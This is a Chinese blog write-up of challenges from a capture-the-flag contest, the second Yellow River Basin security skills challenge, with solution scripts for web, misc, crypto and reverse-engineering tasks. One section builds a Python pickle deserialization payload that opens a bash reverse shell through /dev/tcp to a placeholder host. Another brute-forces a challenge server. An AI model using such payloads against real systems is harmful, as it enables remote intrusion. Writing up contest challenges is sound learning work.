第二届黄河流域网络安全技能挑战赛WP

WriteUP

TIP:可以留言给我换友链捏
第一次打ctf 之前只会做服务器取证 不知道为什么就第二了 可能运气比较好吧
由于我自己目前在取证工作中,也遇到很多ctf的问题,我个人非常喜欢做ctf的题目,但也会遇到ctf问题难以破解,全网ctf教程我都看完了,但是都觉得不够具体,所以我写一篇博客,希望以最具体的,实操演示的方式,向大家说明ctf的原理,希望与大家一起进步!

MyFavorPython

看看题 开局给了个登录界面 注册个账户直接进入

看到个Python unserialize的界面

推测是打Python反序列化漏洞

构造POC如下:

import base64
payload=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"
tR.
'''
print(base64.b64encode(payload))

#ip和port自己填下

反弹shell后直接cat /flag.txt
在这里插入图片描述

Fuzzzz

nc起手 试了几下在找到两个hint

提示len(random_str)=3 secret的长度为10

直接输入10个字符遍历一下

发现有些会变成+

推测+代表正确的字符

遍历出固定的字符为S4PcSec后直接写个爆破脚本

不会写的同学去给GPT嗦牛牛让他帮你

#!/usr/bin/env python

# -*- encoding: utf-8 -*-

from pwn import *

context.log_level='debug'

from pwn import *

import string

# 连接到服务器

conn = remote('116.62.53.46', 2333)

# 爆破后三位字符

correct_strings = []

for char1 in string.printable:

    test_string = 'S4PcSec' + char1 + char1 + char1

    # 发送选项并接收

    conn.recvuntil('Choose an option(1 or 2):')

    conn.sendline('1')

    conn.recvuntil('Fuzz>')

    # 发送测试字符串

    conn.sendline(test_string)

    

    # 接收服务器响应

    response = conn.recvline().strip()

    

    # 根据 '+' 的位置确定哪个字符是正确的

    correct_char_index = response.find('+')

    if correct_char_index != -1:

        correct_char = test_string[correct_char_index]

        correct_strings.append(test_string[:7] + correct_char + test_string[8:])

        print("Correct string found: %s" % correct_strings[-1])

# 统计正确的字符串数量

print("Total correct strings found: %d" % len(correct_strings))

# 发送正确的字符串给服务器

for string in correct_strings:

    conn.sendline(string)

# 关闭连接

conn.close()

可恶的黑客

看题目简介 推测是朝鲜红星系统

记得之前看过一篇

https://xz.aliyun.com/t/13379?time__1311=mqmxnDBG0Q0%3DDQ%3DDsNoYIIPWwEi8D9GQnYD&alichlgref=https%3A%2F%2Fcn.bing.com%2F

直接根据这篇打

https://github.com/takeshixx/redstar-tools

在此之前还需要找到被修改的图片

这个直接火眼一把梭出来发现是1539.png

在这里插入图片描述

直接解密发现不行 010发现是图片后面有一段冗余 以及数据校验长度不对

修改成如下图

在这里插入图片描述

解密得到flag

在这里插入图片描述

Playing_A2

没玩过红警(

解压文件发现有个FLAG.SHP

搜了下发现是贴图资源文件

用地图编辑器和资源解包器都行

在这里插入图片描述

肉眼看出flag{RA2_YES!}

Ez_Ant

最简单的一题…(

蚁剑把返回包前面的随机字符串去掉

直接逐个流量base64解密过去就行

懒得写了

问卷

真有人会写问卷WP?

Ez_encrypt

不会Crypto 直接把脚本喂给GPT(

def XOR(word, key):

    result = ""

    for char in word:

        result += chr(ord(char) ^ key)

    return result

def decrypt(cipher):

    tmp = len(cipher) // 2

    x = cipher[:tmp]

    y = cipher[tmp:]

    R = XOR(y, 2)

    L = ""

    for i, char in enumerate(x):

        L += chr(ord(char) ^ ord(XOR(R, 18)[i]))

    R2 = XOR(L, 2)

    L1 = ""

    for i, char in enumerate(R):

        L1 += chr(ord(char) ^ ord(XOR(R2, 17)[i]))

    flag = L1 + R2

    return flag

with open(r"C:\Users\25722\Downloads\task\cipher.txt", "r") as file:

    cipher = file.read().strip()

flag1 = decrypt(cipher)

print(flag1,end='')

c2 = [119, 107, 102, 97, 58, 114, 122, 124, 108, 122, 72, 45, 49, 48, 44, 49, 51, 141]

key = [''] * len(c2)

k = 0

for i in range(len(c2)):

    num = c2[i] ^ (k % 3 + 1)

    key[i] = chr(num - i)

    num = c2[len(c2) - i - 1] ^ (k % 3 + 1)

    key[len(c2) - i - 1] = chr((num + i + 1 - len(c2)))

    k += 1

flag2 = ''.join(key)

print(flag2)

ezpyc

直接反编译不了 用pycdas嗦一下

然后喂给GPT搓脚本

源代码如下:
在这里插入图片描述

EXP:

import base64

def decode(encoded_string):

    str2 = list(encoded_string)

    

    for l in range(43, 32, -1):

        str2[l] = chr((ord(str2[l]) ^ 3) % 256)

    for h in range(32,21,-1):

        str2[h] = chr((ord(str2[h]) ) % 256)

    for k in range(21, 10, -1):

        str2[k] = chr((ord(str2[k]) - 1) % 256)

    for j in range(10, -1, -1):

        str2[j] = chr((ord(str2[j]) + 6) % 256)

    for i in range(len(str2)-1,-1,-1):

        str2[i] = chr((ord(str2[i]) ^ 2) % 256)

    env = ''.join(str2)

    #return env

    decoded_string = base64.b64decode(env).decode('utf-8')

    return decoded_string

# 带入check中的密文进行解密

encoded_string = 'RitdR+kuGPFoYpX4NVP{PVOx[VSzXhLnO{L2Xkj3[l[8]'

decoded_string = decode(encoded_string)

print(decoded_string)

#flag{293efe59c11c3a41f3e337b96ff}

Ezlua

这题考的是lua.out的魔改版本问题 010改版本即可

然后用https://luadec.metaworm.site/

在这里插入图片描述

其实代码里面内置了一个解密函数 直接改一下调用(

这里本地跑一直有问题 不知道为啥

在线运行一下(

在这里插入图片描述

Ezrust

这题其实找到特征就很简单 是个rc4魔改

直接上脚本好了

class RC4:

    def __init__(self):

        self.s = bytearray([

            68, 32, 130, 60, 253, 230, 241, 194, 107, 48, 249, 14, 199, 221, 1, 228,

            136, 117, 52, 162, 15, 11, 13, 4, 195, 110, 216, 14, 113, 224, 253, 119,

            176, 118, 112, 235, 148, 11, 213, 51, 95, 151, 61, 170, 216, 97, 155, 145,

            255, 201, 17, 245, 124, 206, 212, 88, 187, 191, 44, 224, 55, 83, 201, 189,

            250, 15, 240, 22, 157, 201, 87, 86, 116, 6, 102, 118, 207, 176, 180, 235,

            137, 2, 196, 66, 105, 218, 28, 246, 186, 102, 211, 248, 182, 212, 177, 0,

            169, 234, 14, 117, 90, 92, 46, 130, 16, 36, 42, 8, 231, 7, 143, 127, 137,

            56, 94, 176, 148, 35, 85, 81, 130, 86, 139, 150, 232, 164, 254, 242, 58,

            12, 159, 197, 175, 215, 96, 132, 55, 129, 107, 221, 10, 115, 9, 203, 74,

            18, 82, 228, 218, 112, 230, 114, 15, 202, 164, 218, 30, 152, 64, 108, 24,

            156, 36, 39, 158, 152, 81, 213, 129, 66, 4, 19, 111, 235, 87, 19, 193, 102,

            177, 50, 105, 221, 99, 252, 53, 199, 151, 255, 8, 166, 205, 144, 9, 80, 102,

            167, 69, 173, 219, 109, 136, 49, 194, 176, 248, 120, 33, 20, 43, 68, 86, 85,

            109, 137, 170, 130, 188, 173, 174, 58, 149, 120, 250, 69, 53, 164, 20, 208,

            37, 194, 75, 64, 174, 58, 193, 39, 114, 41, 136, 186, 151, 58, 234, 141, 55,

            23, 151, 6, 7, 46, 211, 58, 20, 96, 122, 215

        ])

    def transform(self, data):

        i = j = 0

        output = bytearray(len(data))

        for k in range(len(data)):

            i = (i + 1) % 256

            j = (j + self.s[i]) % 256

            self.s[i], self.s[j] = self.s[j], self.s[i]

            key = self.s[(self.s[i] + self.s[j]) % 256]

            output[k] = key ^ data[k] ^ i

        return output

def main():

    rc4 = RC4()

    ciphertext = bytearray([

        0x4c, 0x3f, 0xb6, 0x3b, 0xaa, 0xb1, 0x2a, 0xfe, 0x32, 0xa6, 0x34, 0x81, 0xf8,

        0x67, 0x9c, 0x93, 0xcb, 0xbd, 0x41, 0xa1, 0x40, 0x47, 0x8e, 0x62, 0x97, 0x27,

        0x96, 0xb1, 0xca, 0xd1, 0x1b, 0x28, 0x8, 0x7c, 0xd0, 0xba, 0x72, 0x90, 0xac,

        0x96, 0x3d, 0x6, 0xde

    ])

    plaintext = rc4.transform(ciphertext)

    # Use plaintext

    decrypted_plaintext = plaintext.decode('utf-8')

    print("Decrypted plaintext:", decrypted_plaintext)

if __name__ == "__main__":

main()

#flag{5174e107-e817-1874-fa73-7b29c90976da}
  • 13
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值